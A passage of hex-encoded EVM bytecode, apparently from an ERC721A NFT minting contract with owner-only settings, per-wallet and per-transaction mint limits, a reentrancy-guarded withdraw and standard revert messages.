fffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614610e7a57806000015192505b8773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ecc5786841415610ec3578195505050505050610f16565b83806001019450505b508080600101915050610d88565b506040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0d90614221565b60405180910390fd5b92915050565b600f5481565b610f2a61278a565b73ffffffffffffffffffffffffffffffffffffffff16610f486115e5565b73ffffffffffffffffffffffffffffffffffffffff161480610fbe5750610f6d61278a565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610ffd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff49061428d565b60405180910390fd5b60026009541415611043576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103a906142f9565b60405180910390fd5b600260098190555060003373ffffffffffffffffffffffffffffffffffffffff16476040516110719061434a565b60006040518083038185875af1925050503d80600081146110ae576040519150601f19603f3d011682016040523d82523d6000602084013e6110b3565b606091505b50509050806110f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ee906143ab565b60405180910390fd5b506001600981905550565b61111d838383604051806020016040528060008152506122f1565b505050565b600e5481565b6000611132610d11565b8210611173576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116a9061443d565b60405180910390fd5b819050919050565b61118361278a565b73ffffffffffffffffffffffffffffffffffffffff166111a16115e5565b73ffffffffffffffffffffffffffffffffffffffff16148061121757506111c661278a565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611256576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124d9061428d565b60405180910390fd5b80600f8190555050565b600061126b82612d84565b600001519050919050565b6000600b54905090565b600a805461128d90613f35565b80601f01602080910402602001604051908101604052809291908181526020018280546112b990613f35565b80156113065780601f106112db57610100808354040283529160200191611306565b820191906000526020600020905b8154815290600101906020018083116112e957829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561137f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611376906144cf565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050919050565b6113ff61278a565b73ffffffffffffffffffffffffffffffffffffffff1661141d6115e5565b73ffffffffffffffffffffffffffffffffffffffff161480611493575061144261278a565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6114d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c99061428d565b60405180910390fd5b6114dc6000612f1e565b565b6114e661278a565b73ffffffffffffffffffffffffffffffffffffffff166115046115e5565b73ffffffffffffffffffffffffffffffffffffffff16148061157a575061152961278a565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6115b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b09061428d565b60405180910390fd5b601160009054906101000a900460ff1615601160006101000a81548160ff021916908315150217905550565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61161761278a565b73ffffffffffffffffffffffffffffffffffffffff166116356115e5565b73ffffffffffffffffffffffffffffffffffffffff1614806116ab575061165a61278a565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6116ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e19061428d565b60405180910390fd5b80600b8190555050565b60606002805461170390613f35565b80601f016020809104026020016040519081016040528092919081815260200182805461172f90613f35565b801561177c5780601f106117515761010080835404028352916020019161177c565b820191906000526020600020905b81548152906001019060200180831161175f57829003601f168201915b5050505050905090565b61178e61278a565b73ffffffffffffffffffffffffffffffffffffffff166117ac6115e5565b73ffffffffffffffffffffffffffffffffffffffff16148061182257506117d161278a565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611861576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118589061428d565b60405180910390fd5b61186b8282612fe4565b5050565b600b5481565b6000600b54905060006001600f5461188d919061451e565b8360125461189b919061451e565b1080156118e85750600d54601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b90508015611c5257601160009054906101000a900460ff1661193f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611936906145c0565b60405180910390fd5b6010548361194b610d11565b611955919061451e565b1115611996576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198d9061462c565b60405180910390fd5b600c548311156119db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d290614698565b60405180910390fd5b601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d54611a2891906146b8565b8310611b445781601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d54611a7c91906146b8565b611a8691906146ec565b8284611a9291906146ec565b611a9c91906146b8565b341015611ade576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad590614792565b60405180910390fd5b600d54601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d5460126000828254611b38919061451e565b92505081905550611c4d565b601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d54611b9191906146b8565b831015611c4c576000341015611bdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd390614792565b60405180910390fd5b82601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c2b919061451e565b925050819055508260126000828254611c44919061451e565b925050819055505b5b611e89565b601160009054906101000a900460ff16611ca1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c98906145c0565b60405180910390fd5b600e5483601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cef919061451e565b1115611d30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d27906147fe565b60405180910390fd5b8183611d3c91906146ec565b341015611d7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7590614792565b60405180910390fd5b60105483611d8a610d11565b611d94919061451e565b1115611dd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcc9061462c565b60405180910390fd5b600c54831115611e1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1190614698565b60405180910390fd5b3273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7f9061486a565b60405180910390fd5b5b82601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611ed8919061451e565b92505081905550611ee93384612fe4565b505050565b611ef661278a565b73ffffffffffffffffffffffffffffffffffffffff16611f146115e5565b73ffffffffffffffffffffffffffffffffffffffff161480611f8a5750611f3961278a565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611fc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc09061428d565b60405180910390fd5b80600a9080519060200190611fdf92919061373c565b5050565b611feb61278a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612059576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612050906148d6565b60405180910390fd5b806006600061206661278a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff1661211361278a565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405161215891906138cd565b60405180910390a35050565b6000600d54905090565b61217661278a565b73ffffffffffffffffffffffffffffffffffffffff166121946115e5565b73ffffffffffffffffffffffffffffffffffffffff16148061220a57506121b961278a565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b612249576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122409061428d565b60405180910390fd5b6000821161228c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228390614942565b60405180910390fd5b60105482612298610d11565b6122a2919061451e565b11156122e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122da906149ae565b60405180910390fd5b6122ed8183612fe4565b5050565b6122fc848484612844565b61230884848484613002565b612347576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233e90614a40565b60405180910390fd5b50505050565b600d5481565b606061235e8261277d565b61239d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239490614ad2565b60405180910390fd5b60006123a761318a565b905060008151116123c757604051806020016040528060008152506123fe565b806123dd6001856123d8919061451e565b61321c565b6040516020016123ee929190614b7a565b6040516020818303038152906040525b915050919050565b601160009054906101000a900460ff1681565b60105481565b60125481565b61242d61278a565b73ffffffffffffffffffffffffffffffffffffffff1661244b6115e5565b73ffffffffffffffffffffffffffffffffffffffff1614806124c1575061247061278a565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b612500576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f79061428d565b60405180910390fd5b80600d8190555050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6125a661278a565b73ffffffffffffffffffffffffffffffffffffffff166125c46115e5565b73ffffffffffffffffffffffffffffffffffffffff16148061263a57506125e961278a565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b612679576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126709061428d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156126e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126e090614c1b565b60405180910390fd5b6126f281612f1e565b50565b60136020528060005260406000206000915090505481565b600c5481565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b6000805482109050919050565b600033905090565b826005600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050565b600061284f82612d84565b90506000816000015173ffffffffffffffffffffffffffffffffffffffff1661287661278a565b73ffffffffffffffffffffffffffffffffffffffff1614806128d2575061289b61278a565b73ffffffffffffffffffffffffffffffffffffffff166128ba84610b5b565b73ffffffffffffffffffffffffffffffffffffffff16145b806128ee57506128ed82600001516128e861278a565b61250a565b5b905080612930576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161292790614cad565b60405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff16826000015173ffffffffffffffffffffffffffffffffffffffff16146129a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161299990614d3f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a0990614dd1565b60405180910390fd5b612a1f858585600161337d565b612a2f6000848460000151612792565b6001600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160392506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055506001600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550836003600085815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426003600085815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506000600184019050600073ffffffffffffffffffffffffffffffffffffffff166003600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612d1457612c738161277d565b15612d135782600001516003600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082602001516003600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505b5b50828473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4612d7d8585856001613383565b5050505050565b612d8c6137c2565b612d958261277d565b612dd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dcb90614e63565b60405180910390fd5b60008290505b60008110612edd576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614612ece578092505050612f19565b50808060019003915050612dda565b506040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f1090614ef5565b60405180910390fd5b919050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b612ffe828260405180602001604052806000815250613389565b5050565b60006130238473ffffffffffffffffffffffffffffffffffffffff1661339b565b1561317d578373ffffffffffffffffffffffffffffffffffffffff1663150b7a0261304c61278a565b8786866040518563ffffffff1660e01b815260040161306e9493929190614f6a565b6020604051808303816000875af19250505080156130aa57506040513d601f19601f820116820180604052508101906130a79190614fcb565b60015b61312d573d80600081146130da576040519150601f19603f3d011682016040523d82523d6000602084013e6130df565b606091505b50600081511415613125576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161311c90614a40565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050613182565b600190505b949350505050565b6060600a805461319990613f35565b80601f01602080910402602001604051908101604052809291908181526020018280546131c590613f35565b80156132125780601f106131e757610100808354040283529160200191613212565b820191906000526020600020905b8154815290600101906020018083116131f557829003601f168201915b5050505050905090565b60606000821415613264576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050613378565b600082905060005b6000821461329657808061327f90614ff8565b915050600a8261328f9190615070565b915061326c565b60008167ffffffffffffffff8111156132b2576132b1613b82565b5b6040519080825280601f01601f1916602001820160405280156132e45781602001600182028036833780820191505090505b5090505b60008514613371576001826132fd91906146b8565b9150600a8561330c91906150a1565b6030613318919061451e565b60f81b81838151811061332e5761332d6150d2565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a8561336a9190615070565b94506132e8565b8093505050505b919050565b50505050565b50505050565b61339683838360016133be565b505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b600080549050600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415613434576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161342b90615173565b60405180910390fd5b6000841415613478576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161346f90615205565b60405180910390fd5b613485600086838761337d565b83600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555083600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160108282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550846003600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426003600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550600081905060005b8581101561371f57818773ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4831561370a576136ca6000888488613002565b613709576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161370090614a40565b60405180910390fd5b5b81806001019250508080600101915050613653565b5080600081905550506137356000868387613383565b5050505050565b82805461374890613f35565b90600052602060002090601f01602090048101928261376a57600085556137b1565b82601f1061378357805160ff19168380011785556137b1565b828001600101855582156137b1579182015b828111156137b0578251825591602001919060010190613795565b5b5090506137be91906137fc565b5090565b6040518060400160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600067ffffffffffffffff1681525090565b5b808211156138155760008160009055506001016137fd565b5090565b6000604051905090565b600080fd5b600080fd5b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b6138628161382d565b811461386d57600080fd5b50565b60008135905061387f81613859565b92915050565b60006020828403121561389b5761389a613823565b5b60006138a984828501613870565b91505092915050565b60008115159050919050565b6138c7816138b2565b82525050565b60006020820190506138e260008301846138be565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613922578082015181840152602081019050613907565b83811115613931576000848401525b50505050565b6000601f19601f8301169050919050565b6000613953826138e8565b61395d81856138f3565b935061396d818560208601613904565b61397681613937565b840191505092915050565b6000602082019050818103600083015261399b8184613948565b905092915050565b6000819050919050565b6139b6816139a3565b81146139c157600080fd5b50565b6000813590506139d3816139ad565b92915050565b6000602082840312156139ef576139ee613823565b5b60006139fd848285016139c4565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613a3182613a06565b9050919050565b613a4181613a26565b82525050565b6000602082019050613a5c6000830184613a38565b92915050565b613a6b81613a26565b8114613a7657600080fd5b50565b600081359050613a8881613a62565b92915050565b60008060408385031215613aa557613aa4613823565b5b6000613ab385828601613a79565b9250506020613ac4858286016139c4565b9150509250929050565b600060208284031215613ae457613ae3613823565b5b6000613af284828501613a79565b91505092915050565b613b04816139a3565b82525050565b6000602082019050613b1f6000830184613afb565b92915050565b600080600060608486031215613b3e57613b3d613823565b5b6000613b4c86828701613a79565b9350506020613b5d86828701613a79565b9250506040613b6e868287016139c4565b9150509250925092565b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b613bba82613937565b810181811067ffffffffffffffff82111715613bd957613bd8613b82565b5b80604052505050565b6000613bec613819565b9050613bf88282613bb1565b919050565b600067ffffffffffffffff821115613c1857613c17613b82565b5b613c2182613937565b9050602081019050919050565b82818337600083830152505050565b6000613c50613c4b84613bfd565b613be2565b905082815260208101848484011115613c6c57613c6b613b7d565b5b613c77848285613c2e565b509392505050565b600082601f830112613c9457613c93613b78565b5b8135613ca4848260208601613c3d565b91505092915050565b600060208284031215613cc357613cc2613823565b5b600082013567ffffffffffffffff811115613ce157613ce0613828565b5b613ced84828501613c7f565b91505092915050565b613cff816138b2565b8114613d0a57600080fd5b50565b600081359050613d1c81613cf6565b92915050565b60008060408385031215613d3957613d38613823565b5b6000613d4785828601613a79565b9250506020613d5885828601613d0d565b9150509250929050565b60008060408385031215613d7957613d78613823565b5b6000613d87858286016139c4565b9250506020613d9885828601613a79565b9150509250929050565b600067ffffffffffffffff821115613dbd57613dbc613b82565b5b613dc682613937565b9050602081019050919050565b6000613de6613de184613da2565b613be2565b905082815260208101848484011115613e0257613e01613b7d565b5b613e0d848285613c2e565b509392505050565b600082601f830112613e2a57613e29613b78565b5b8135613e3a848260208601613dd3565b91505092915050565b60008060008060808587031215613e5d57613e5c613823565b5b6000613e6b87828801613a79565b9450506020613e7c87828801613a79565b9350506040613e8d878288016139c4565b925050606085013567ffffffffffffffff811115613eae57613ead613828565b5b613eba87828801613e15565b91505092959194509250565b60008060408385031215613edd57613edc613823565b5b6000613eeb85828601613a79565b9250506020613efc85828601613a79565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613f4d57607f821691505b60208210811415613f6157613f60613f06565b5b50919050565b7f455243373231413a20617070726f76656420717565727920666f72206e6f6e6560008201527f78697374656e7420746f6b656e00000000000000000000000000000000000000602082015250565b6000613fc3602d836138f3565b9150613fce82613f67565b604082019050919050565b60006020820190508181036000830152613ff281613fb6565b9050919050565b7f455243373231413a20617070726f76616c20746f2063757272656e74206f776e60008201527f6572000000000000000000000000000000000000000000000000000000000000602082015250565b60006140556022836138f3565b915061406082613ff9565b604082019050919050565b6000602082019050818103600083015261408481614048565b9050919050565b7f455243373231413a20617070726f76652063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f76656420666f7220616c6c00000000000000602082015250565b60006140e76039836138f3565b91506140f28261408b565b604082019050919050565b60006020820190508181036000830152614116816140da565b9050919050565b7f455243373231413a206f776e657220696e646578206f7574206f6620626f756e60008201527f6473000000000000000000000000000000000000000000000000000000000000602082015250565b60006141796022836138f3565b91506141848261411d565b604082019050919050565b600060208201905081810360008301526141a88161416c565b9050919050565b7f455243373231413a20756e61626c6520746f2067657420746f6b656e206f662060008201527f6f776e657220627920696e646578000000000000000000000000000000000000602082015250565b600061420b602e836138f3565b9150614216826141af565b604082019050919050565b6000602082019050818103600083015261423a816141fe565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006142776020836138f3565b915061428282614241565b602082019050919050565b600060208201905081810360008301526142a68161426a565b9050919050565b7f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00600082015250565b60006142e3601f836138f3565b91506142ee826142ad565b602082019050919050565b60006020820190508181036000830152614312816142d6565b9050919050565b600081905092915050565b50565b6000614334600083614319565b915061433f82614324565b600082019050919050565b600061435582614327565b9150819050919050565b7f5472616e73666572206661696c65642e00000000000000000000000000000000600082015250565b60006143956010836138f3565b91506143a08261435f565b602082019050919050565b600060208201905081810360008301526143c481614388565b9050919050565b7f455243373231413a20676c6f62616c20696e646578206f7574206f6620626f7560008201527f6e64730000000000000000000000000000000000000000000000000000000000602082015250565b60006144276023836138f3565b9150614432826143cb565b604082019050919050565b600060208201905081810360008301526144568161441a565b9050919050565b7f455243373231413a2062616c616e636520717565727920666f7220746865207a60008201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b60006144b9602b836138f3565b91506144c48261445d565b604082019050919050565b600060208201905081810360008301526144e8816144ac565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000614529826139a3565b9150614534836139a3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614569576145686144ef565b5b828201905092915050565b7f4d696e74206973206e6f74206c69766520796574000000000000000000000000600082015250565b60006145aa6014836138f3565b91506145b582614574565b602082019050919050565b600060208201905081810360008301526145d98161459d565b9050919050565b7f4e6f206d6f726500000000000000000000000000000000000000000000000000600082015250565b60006146166007836138f3565b9150614621826145e0565b602082019050919050565b6000602082019050818103600083015261464581614609565b9050919050565b7f4d61782070657220545820726561636865642e00000000000000000000000000600082015250565b60006146826013836138f3565b915061468d8261464c565b602082019050919050565b600060208201905081810360008301526146b181614675565b9050919050565b60006146c3826139a3565b91506146ce836139a3565b9250828210156146e1576146e06144ef565b5b828203905092915050565b60006146f7826139a3565b9150614702836139a3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561473b5761473a6144ef565b5b828202905092915050565b7f506c656173652073656e64207468652065786163742045544820616d6f756e74600082015250565b600061477c6020836138f3565b915061478782614746565b602082019050919050565b600060208201905081810360008301526147ab8161476f565b9050919050565b7f457863656564206d6178696d756d204e465473207065722077616c6c65740000600082015250565b60006147e8601e836138f3565b91506147f3826147b2565b602082019050919050565b60006020820190508181036000830152614817816147db565b9050919050565b7f546865206d696e74657220697320616e6f7468657220636f6e74726163740000600082015250565b6000614854601e836138f3565b915061485f8261481e565b602082019050919050565b6000602082019050818103600083015261488381614847565b9050919050565b7f455243373231413a20617070726f766520746f2063616c6c6572000000000000600082015250565b60006148c0601a836138f3565b91506148cb8261488a565b602082019050919050565b600060208201905081810360008301526148ef816148b3565b9050919050565b7f496e76616c6964206d696e7420616d6f756e7400000000000000000000000000600082015250565b600061492c6013836138f3565b9150614937826148f6565b602082019050919050565b6000602082019050818103600083015261495b8161491f565b9050919050565b7f4d6178696d756d20737570706c79206578636565646564000000000000000000600082015250565b60006149986017836138f3565b91506149a382614962565b602082019050919050565b600060208201905081810360008301526149c78161498b565b9050919050565b7f455243373231413a207472616e7366657220746f206e6f6e204552433732315260008201527f6563656976657220696d706c656d656e74657200000000000000000000000000602082015250565b6000614a2a6033836138f3565b9150614a35826149ce565b604082019050919050565b60006020820190508181036000830152614a5981614a1d565b9050919050565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b6000614abc602f836138f3565b9150614ac782614a60565b604082019050919050565b60006020820190508181036000830152614aeb81614aaf565b9050919050565b600081905092915050565b6000614b08826138e8565b614b128185614af2565b9350614b22818560208601613904565b80840191505092915050565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600082015250565b6000614b64600583614af2565b9150614b6f82614b2e565b600582019050919050565b6000614b868285614afd565b9150614b928284614afd565b9150614b9d82614b57565b91508190509392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614c056026836138f3565b9150614c1082614ba9565b604082019050919050565b60006020820190508181036000830152614c3481614bf8565b9050919050565b7f455243373231413a207472616e736665722063616c6c6572206973206e6f742060008201527f6f776e6572206e6f7220617070726f7665640000000000000000000000000000602082015250565b6000614c976032836138f3565b9150614ca282614c3b565b604082019050919050565b60006020820190508181036000830152614cc681614c8a565b9050919050565b7f455243373231413a207472616e736665722066726f6d20696e636f727265637460008201527f206f776e65720000000000000000000000000000000000000000000000000000602082015250565b6000614d296026836138f3565b9150614d3482614ccd565b604082019050919050565b60006020820190508181036000830152614d5881614d1c565b9050919050565b7f455243373231413a207472616e7366657220746f20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614dbb6025836138f3565b9150614dc682614d5f565b604082019050919050565b60006020820190508181036000830152614dea81614dae565b9050919050565b7f455243373231413a206f776e657220717565727920666f72206e6f6e6578697360008201527f74656e7420746f6b656e00000000000000000000000000000000000000000000602082015250565b6000614e4d602a836138f3565b9150614e5882614df1565b604082019050919050565b60006020820190508181036000830152614e7c81614e40565b9050919050565b7f455243373231413a20756e61626c6520746f2064657465726d696e652074686560008201527f206f776e6572206f6620746f6b656e0000000000000000000000000000000000602082015250565b6000614edf602f836138f3565b9150614eea82614e83565b604082019050919050565b60006020820190508181036000830152614f0e81614ed2565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000614f3c82614f15565b614f468185614f20565b9350614f56818560208601613904565b614f5f81613937565b840191505092915050565b6000608082019050614f7f6000830187613a38565b614f8c6020830186613a38565b614f996040830185613afb565b8181036060830152614fab8184614f31565b905095945050505050565b600081519050614fc581613859565b92915050565b600060208284031215614fe157614fe0613823565b5b6000614fef84828501614fb6565b91505092915050565b6000615003826139a3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415615036576150356144ef565b5b600182019050919050565b7f4e487b7100000000000000000000000000000